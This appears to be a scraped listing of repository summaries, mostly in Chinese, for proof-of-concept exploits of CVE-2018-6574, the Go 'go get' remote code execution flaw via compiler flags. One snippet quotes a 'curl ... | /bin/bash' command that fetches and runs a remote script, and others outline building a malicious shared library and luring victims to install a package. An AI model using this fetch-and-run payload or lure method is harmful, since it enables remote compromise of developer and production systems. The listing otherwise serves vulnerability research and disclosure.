mzap

mzap mzap is a Crystal CLI for multi-target ZAP scanning. It dispatches targets across one or more ZAP API hosts, supports optional wait mode, and can export reports. Features Scan commands: spider, ajaxspider, clientspider ZAP 2.16+, ascan, pscan API definition import for openapi, soap, graphql,...

CVE-2018-6574

CVE-2018-6574 在 Golang 的 go get 命令中的远程命令执行。 CVE-2018-6574 此漏洞影响 Golang 的 go get 命令，并允许攻击者通过安装恶意库在系统上获得代码执行权限。此漏洞已在 Go 1.8.7、1.9.4 和 1.10rc2 中修复。 Golang 会构建原生扩展。这可用于向编译器传递额外标志以获得代码执行。例如，可以使用 CFLAGS。...

go-get-RCE

go-get-RCE 这是 CVE-2018-6574 的漏洞利用：go get 远程代码执行（RCE） 该漏洞影响 Golang 的 go get 命令，允许攻击者在安装其恶意库的系统上获得代码执行能力。这是利用域名仿冒（typosquatting）在开发者工作站和生产系统上获得代码执行能力的漏洞的一个典型示例。该漏洞已在 Go 1.8.7、1.9.4 和 1.10rc2 中修复。...

CVE-2018-6574

CVE-2018-6574 Go 1.8.7 之前的版本、Go 1.9.x 在 1.9.4 之前，以及 Go 1.10 预发布版本在 Go 1.10rc2 之前，允许在源代码构建期间通过 go get 远程执行命令，利用 gcc 或 clang 插件功能，因为 -fplugin= 和 -plugin= 参数未被阻止。（来自 mitre） RCE 命令 该命令被编译进动态库 calcdarwin.so。当前命令为 curl newton.cycarrier:8002 | /bin/bash。它曾被用作程序的初始访问。你需要在 8002 端口托管一个文件服务器，并将主机绑定到你的 IP。...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-go-get-RCE 该问题源于：在安装包时，Golang 会构建原生扩展。这可以用来向编译器传递额外的标志，从而获得代码执行能力。例如，可以使用 CFLAGS。 你可以使用以下命令构建它： $ gcc -shared -o attack.so -fPIC attack.c 一旦你在 Github 上托管好完整的载荷，就可以将包链接传递给受害者。...

go-get-rce

Este repositorio no tiene un README...

go-get-rce

此存储库没有 README。...

CVE-2018-6574

CVE-2018-6574 CVE-2018-6574 go get...

CVE-2018-6574

CVE-2018-6574 CVE-2018-6574: go get...

CVE-2018-6574

CVE-2018-6574 CVE-2018-6574 go get 远程代码执行...

go-get-rce

Este repositorio no tiene un README...

CVE-2018-6574

CVE-2018-6574 Golang go get 命令的远程命令执行漏洞利用。 介绍 当你使用 go get 获取一个包时，Go 的设计是构建并安装该包，而不运行其中的任何代码。其意图是，你可以安全地获取、构建甚至安装 Go 包，而完全不需要信任它们。理论上，这对 Go 工具链来说似乎是一项简单的任务，但实际上，这是一个真正的挑战。go get 在幕后做了很多工作，包括以受包配置严重影响的方式调用第三方工具，如 git 和 clang。确保这些调用的安全性是一场持久战，而 Go 尚未完全获胜。 当 cgo 启用时，“go get” 期间的构建步骤会调用宿主机的 C 编译器（gcc ...

CVE-2018-6574-go-get-RCE

此存储库没有 README。...

CVE-2018-6574-go-get-RCE

CVE-2018-6574-Solution gcc -shared -o attack.so -fPIC attack.c...

CVE-2018-6574-go-get-RCE

此存储库没有 README。...

CVE-2018-6574

此仓库包含CVE-2018-6574 "go get RCE"的PoC，该漏洞允许在下载第三方包时执行命令。这是因为cflags允许设置外部库。在此PoC中，外部库在构造函数上执行命令。...

Zur-Go-GET-RCE-Solution

CVE-2018-6574-解决方案...

go-get-rce

go-get-rce CVE-2018-6574...

Go-Get-RCE-CVE-2018-6574-POC

CVE-2018-6574 POC LINK https://nvd.nist.gov/vuln/detail/CVE-2018-6574 http://blog.nsfocus.net/cve-2018-6574/ RUN root@kitploit: go get github.com/neargle/CVE-2018-6574-POC DETAIL payload 在: https://github.com/neargle/CVE-2018-6574-POC/blob/master/calc.cL10 现在已经用 CGO 的特性支持了全平台，linux go get 之后会新建一个...

Astra Linux – Vulnerability in Golang-1.15

Versions of Go before 1.14.14 and 1.15.x before 1.15.7 on Windows are vulnerable to Command Injection and remote code execution when using the “go get” command to fetch modules that utilize cgo for example, cgo can execute a GCC program from an untrusted source...